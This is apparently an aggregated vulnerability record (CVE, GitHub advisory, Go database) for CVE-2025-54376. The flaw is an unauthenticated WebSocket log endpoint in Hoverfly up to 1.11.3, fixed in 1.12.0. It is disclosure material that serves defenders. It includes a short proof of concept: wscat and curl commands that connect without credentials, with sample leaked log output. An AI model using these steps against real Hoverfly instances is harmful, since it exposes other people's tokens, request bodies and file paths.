{"id":"CVE-2025-54376","aliases":["CVE-2025-54376","GHSA-jxmr-2h4q-rhxp","GO-2025-3945"],"related":[],"kind":"vulnerability","state":"published","title":"Hoverfly's WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled.","summary":"Hoverfly is an open source API simulation tool. In versions 1.11.3 and prior, Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can stream real-time application logs (information disclosure) and/or gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs. Version 1.12.0 contains a fix for the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Hoverfly is an open source API simulation tool. In versions 1.11.3 and prior, Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can stream real-time application logs (information disclosure) and/or gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs. Version 1.12.0 contains a fix for the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nHoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API.\nConsequently, an unauthenticated remote attacker can:\n\n- Stream real-time application logs (information disclosure).\n- Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs.\n\n### PoC\n1. Start Hoverfly with authentication enabled:\n\n```\n./hoverfly -auth\n```\n\n2. Confirm REST API requires credentials:\n\n```\ncurl -i http://localhost:8888/api/v2/hoverfly/version\n```\n\n3. Connect to the WebSocket endpoint without credentials:\n\n\n```\nwscat -c ws://localhost:8888/api/v2/ws/logs\n# Connected (press CTRL+C to quit)\n# … logs stream immediately … (You would need to send a message to start receiving stream)\n```\n\n```\nwscat -c ws://localhost:8888/api/v2/ws/logs\nConnected (press CTRL+C to quit)\n> hi!\n< {\"logs\":[{\"level\":\"info\",\"msg\":\"Log level set to verbose\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"Using memory backend\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"User added successfully\",\"time\":\"2025-07-20T17:07:00+05:30\",\"username\":\"\"},{\"level\":\"info\",\"msg\":\"Enabling proxy authentication\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"Destination\":\".\",\"Mode\":\"simulate\",\"ProxyPort\":\"8500\",\"level\":\"info\",\"msg\":\"Proxy prepared...\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"destination\":\".\",\"level\":\"info\",\"mode\":\"simulate\",\"msg\":\"current proxy configuration\",\"port\":\"8500\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"info\",\"msg\":\"serving proxy\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"AdminPort\":\"8888\",\"level\":\"info\",\"msg\":\"Admin interface is starting...\",\"time\":\"2025-07-20T17:07:00+05:30\"},{\"level\":\"debug\",\"message\":\"hi!\",\"msg\":\"Got message...\",\"time\":\"2025-07-20T17:09:04+05:30\"}]}\n< ...\n< ...\n```\n\n### Impact\nAuthentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.","format":"markdown","source":"ghsa"},{"lang":"en","text":"WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled in github.com/SpectoLabs/hoverfly","format":"markdown","source":"go"},{"lang":"es","text":"Hoverfly es una herramienta de simulación de API de código abierto. En las versiones 1.11.3 y anteriores, el endpoint WebSocket de administración de Hoverfly /api/v2/ws/logs no está protegido por el mismo middleware de autenticación que protege la API REST de administración. En consecuencia, un atacante remoto no autenticado puede transmitir registros de aplicación en tiempo real (revelación de información) y/o obtener información sobre rutas de archivos internas, cuerpos de solicitud/respuesta y otros datos potencialmente sensibles emitidos en los registros. La versión 1.12.0 contiene una corrección para el problema.","source":"nvd"}],"published":"2025-09-10T19:49:08.752Z","modified":"2026-06-17T09:39:56.870Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","score":7.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","score":7.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-200","CWE-287","CWE-532"],"affected":[{"ranges":[{"version":"< 1.12.0","status":"affected"}],"vendor":"SpectoLabs","product":"hoverfly","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.12.0"}],"ecosystem":"Go","package":"github.com/SpectoLabs/hoverfly","purl":"pkg:golang/github.com/SpectoLabs/hoverfly","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.12.0"}],"ecosystem":"Go","package":"github.com/SpectoLabs/hoverfly","purl":"pkg:golang/github.com/SpectoLabs/hoverfly","source":"go"},{"ranges":[{"status":"affected","fixed":"1.12.0"}],"vendor":"hoverfly","product":"hoverfly","cpe":"cpe:2.3:a:hoverfly:hoverfly:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-jxmr-2h4q-rhxp","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/SpectoLabs/hoverfly/commit/ffc2cc34563de67fe1a04f7ba5d78fa2d4564424","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54376","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/SpectoLabs/hoverfly","tags":["package"],"sources":["ghsa"]},{"url":"https://pkg.go.dev/vuln/GO-2025-3945","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2025-09-10T20:04:57.391Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-54376","url":"https://www.cve.org/CVERecord?id=CVE-2025-54376","licence":"CVE Terms of Use","modified":"2025-09-10T20:05:22.071Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jxmr-2h4q-rhxp","url":"https://github.com/advisories/GHSA-jxmr-2h4q-rhxp","licence":"CC-BY-4.0","modified":"2025-09-24T21:14:07.000Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2025-3945","url":"https://pkg.go.dev/vuln/GO-2025-3945","licence":"CC-BY-4.0","modified":"2026-03-03T04:56:53.796Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-54376","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54376","licence":"Public domain","modified":"2026-06-17T09:39:56.870Z"}],"updatedAt":"2026-11-25T22:59:04.508Z","epss":{"score":0.00754,"percentile":0.56317,"date":"2026-12-01T12:00:22.000Z"}}